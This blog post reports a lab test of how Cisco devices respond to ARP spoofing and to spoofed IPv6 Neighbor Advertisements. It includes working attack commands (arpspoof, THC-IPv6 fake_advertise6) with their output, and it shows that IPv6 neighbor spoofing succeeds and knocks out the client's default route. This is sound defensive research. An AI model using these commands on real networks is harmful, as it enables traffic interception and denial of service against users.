Dear readers,
today we want to examine the behavior of Cisco devices when they receive spoofed IPv6 Neighbor Advertisement packets from an untrusted system pretending to be the default router for the local segment. We start with a quick refresher how Cisco devices behave in the legacy (IPv4) world when they receive a spoofed broadcast ARP packet containing the IP address of the device but with a different MAC address, followed by a discussion of the corresponding behavior in the IPv6 world.
Since 2005, Cisco implemented a (somewhat undocumented) change in the behavior of the ARP processing inside IOS. Before the change, when an attacker would send e.g. an ARP reply packet to the broadcast address (containing the IP address of the Cisco device and the MAC address of the attacker) in order to spoof the default gateway, the Cisco device would just do nothing. This made it easy for an attacker to spoof the default gateway for a whole subnet by just sending the packets to the broadcast address. After the change, when the Cisco device receives such a packet, it immediately sends out a gratuitous ARP to ensure that the connected hosts (again) have the legitimate entry for the default gateway in the local ARP cache.
To simulate this behavior, I built a small network containing two hosts (one “attacker” and one legitimate client) and the Cisco router. To leverage this attack, I used the tool arpspoof from the dsniff suite to send the ARP reply packets to the broadcast address with the intention to spoof the default gateway. As the hosts are connected in a typical 192.168.1.0/24 network, I used the following command to start sending the packets:
chris@kali:~#sudo arpspoof -t 192.168.1.255 192.168.1.1
0:c:29:e8:13:ab ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.1.1 is-at 0:c:29:e8:13:ab
0:c:29:e8:13:ab ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.1.1 is-at 0:c:29:e8:13:ab
0:c:29:e8:13:ab ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.1.1 is-at 0:c:29:e8:13:ab
0:c:29:e8:13:ab ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.1.1 is-at 0:c:29:e8:13:ab
0:c:29:e8:13:ab ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.1.1 is-at 0:c:29:e8:13:ab
As we can see, arpspoof sends the ARP reply packets containing the IP address of the default gateway (192.168.1.1) to the broadcast address.
The Wireshark trace looks like the following:
As already explained above, as soon as the Cisco device receives the ARP packet containing its own IP address, it immediately sends out a gratuitous ARP to correct the false information. As a result, the entry in the ARP cache of the legitimate client does not really change and contains the valid MAC address of the gateway:
C:\Users\sMk>arp -a
Interface: 192.168.1.200 --- 0xf
Internet Address Physical Address Type
192.168.1.1 1c-1d-86-76-6c-41 dynamic
192.168.1.100 00-0c-29-e8-13-ab dynamic
Also, looking at the console of the Cisco we see several log entries indicating an IP address conflict:
%IP-4-DUPADDR: Duplicate address 192.168.1.1 on Vlan10, sourced by 000c.29e8.13ab
%IP-4-DUPADDR: Duplicate address 192.168.1.1 on Vlan10, sourced by 000c.29e8.13ab
%IP-4-DUPADDR: Duplicate address 192.168.1.1 on Vlan10, sourced by 000c.29e8.13ab
%IP-4-DUPADDR: Duplicate address 192.168.1.1 on Vlan10, sourced by 000c.29e8.13ab
But the question (and the focus of this post) is, how does the Cisco device behave in the IPv6 world? Does it also send neighbor advertisements to correct the falsified/spoofed information? We’ll see 😉
We have the same simple setup and the neighbor cache of the legitimate client looked like the following before the attack was started:
C:\Users\sMk>netsh interface ipv6 show neighbors eth0
Interface 15: eth0
Internet Address Physical Address Type
-------------------------------------------- ----------------- -----------
2001:db8:1::1 1c-1d-86-76-6c-41 Stale (Router)
fe80::1 1c-1d-86-76-6c-41 Stale (Router)
To perform the attack, several tools are available. I decided to go with the THC-IPv6 suite, or more precisely with the fake_advertise6 module to send spoofed neighbor advertisements for fe80::1 every two seconds with the override and router flag set with the following command:
chris@kali:~#sudo fake_advertise6 -r -w 2 eth0 fe80::1
Starting advertisement of fe80::1 (Press Control-C to end)
Looking at the Wireshark trace….
we can see that I am sending the spoofed neighbor advertisements but the Cisco does not react to these packets (like it did in the legacy world). What is interesting and I do not have an explanation currently, is that the fake_advertise6 module is sending two neighbor advertisements per interval. One with the correct flags set, and the other one with no flags set. I would assume that this might be a bug (currently checking with Marc about that). But anyhow, as the Cisco is not responding to the spoofed packets, the legitimate client should now have updated the neighbor cache entry for fe80::1.
C:\Users\sMk>netsh interface ipv6 show neighbors eth0
Interface 15: eth0
Internet Address Physical Address Type
-------------------------------------------- ----------------- -----------
2001:db8:1::1 1c-1d-86-76-6c-41 Stale (Router)
fe80::1 00-0c-29-e8-13-ab Stale
The neighbor cache entry points now to the mac address of the attacker, but it isn’t listed as router anymore. I can only assume that’s because of the spoofed advertisement with no flags set.
Looking at the console of the Cisco no log messages could be seen (which was expected, to be honest). So I activated the IPv6 Snooping feature if it might change anything, but without success.
One side effect of the above behavior with the two neighbor advertisements was that my client lost his IPv6 default router (essentially DoSing all inter-prefix traffic):
Ethernet adapter eth0:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : 2001:db8:1:0:81e2:1562:e5a0:43ee
Temporary IPv6 Address. . . . . . : 2001:db8:1:0:f113:7486:1c3a:1fa9
Link-local IPv6 Address . . . . . : fe80::81e2:1562:e5a0:43ee%15
IPv4 Address. . . . . . . . . . . : 192.168.1.200
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Looking at my local routing table confirmed that
C:\Users\sMk>route print -6
===========================================================================
Interface List
<output omitted>
===========================================================================
IPv6 Route Table
===========================================================================
Active Routes:
If Metric Network Destination Gateway
17 36 ::/0 fe80::2665:11ff:fe02:41b6
1 306 ::1/128 On-link
15 18 2001:db8:1::/64 On-link
15 266 2001:db8:1:0:81e2:1562:e5a0:43ee/128
On-link
15 266 2001:db8:1:0:f113:7486:1c3a:1fa9/128
On-link
19 276 2003:60:4010::/48 fe80::8
The default route which can be seen is received from my home router over the wifi interface
Summary:
It is a bit unfortunate that the Cisco devices currently ignore the spoofed neighbor advertisement and take no action to correct the false information. Hopefully this will get implemented soon, until then, multicast based neighbor spoofing can be easily achieved. This seems to be another case of a reasonable security feature not yet adapted to IPv6; see also this post on “Is IPv6 more Secure than IPv4? Or Less?“.
Sounds interesting? Want to hear more about IPv6 Security? We still have a couple of seats left for the IPv6 Security Summit taking place in Heidelberg on 14th / 15th of March. Now is your chance to sign-up! We would love to see you in Heidelberg!
If you have any questions, please leave a message or follow/respond to me on my newly created Twitter account (@bcp38_) 😉
So long,
Christopher